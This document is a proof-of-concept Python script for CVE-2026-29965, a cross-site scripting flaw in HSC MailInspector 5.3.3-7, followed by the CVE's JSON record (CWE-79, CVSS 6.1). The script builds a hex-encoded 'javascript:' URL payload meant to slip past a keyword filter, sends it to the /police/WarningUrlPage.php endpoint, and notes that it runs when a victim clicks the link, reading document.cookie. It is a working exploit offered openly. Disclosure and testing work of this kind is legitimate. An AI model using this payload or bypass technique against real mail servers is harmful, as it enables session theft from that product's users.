CVE-2026-29965

import requests """ PoC for CVE-2026-29965 Target: HSC MailInspector 5.3.3-7 Endpoint: /police/WarningUrlPage.php Description: Demonstrates XSS via obfuscated JavaScript syntax. """ target_ip = "192.168.1.100" # Replace with actual target IP base_url = f"http://{target_ip}/police/WarningUrlPage.php" # Example payload using obfuscated syntax (hex encoded) # The filter might look for 'javascript:' but miss the encoded version payload = "?url=javascript:%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29" try: response = requests.get(base_url + payload, timeout=5) if response.status_code == 200: print(f"[+] Request sent to {base_url + payload}") print("[+] If the victim clicks this link, the encoded JS executes.") print("[+] Payload decodes to: javascript:alert(document.cookie)") else: print("[-] Target did not respond as expected.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-29965", "sourceIdentifier": "[email protected]", "published": "2026-05-18T18:17:21.773", "lastModified": "2026-05-19T17:19:58.520", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HSC MailInspector 5.3.3-7 is vulnerable to Cross Site Scripting (XSS) in the /police/WarningUrlPage.php endpoint due to improper neutralization of user-supplied input that uses alternate or obfuscated JavaScript syntax."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hsclabs:mailinspector:5.3.3-7:*:*:*:*:*:*:*", "matchCriteriaId": "5A2C551A-C71C-468F-A438-7ED1F576338A"}]}]}], "references": [{"url": "https://github.com/sql3t0/cve-disclosures", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/sql3t0/cve-disclosures/blob/main/04_-_CVE-2026-29965_XSS.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://hsclabs.com/pt-br/mailinspector/", "source": "[email protected]", "tags": ["Product"]}]}}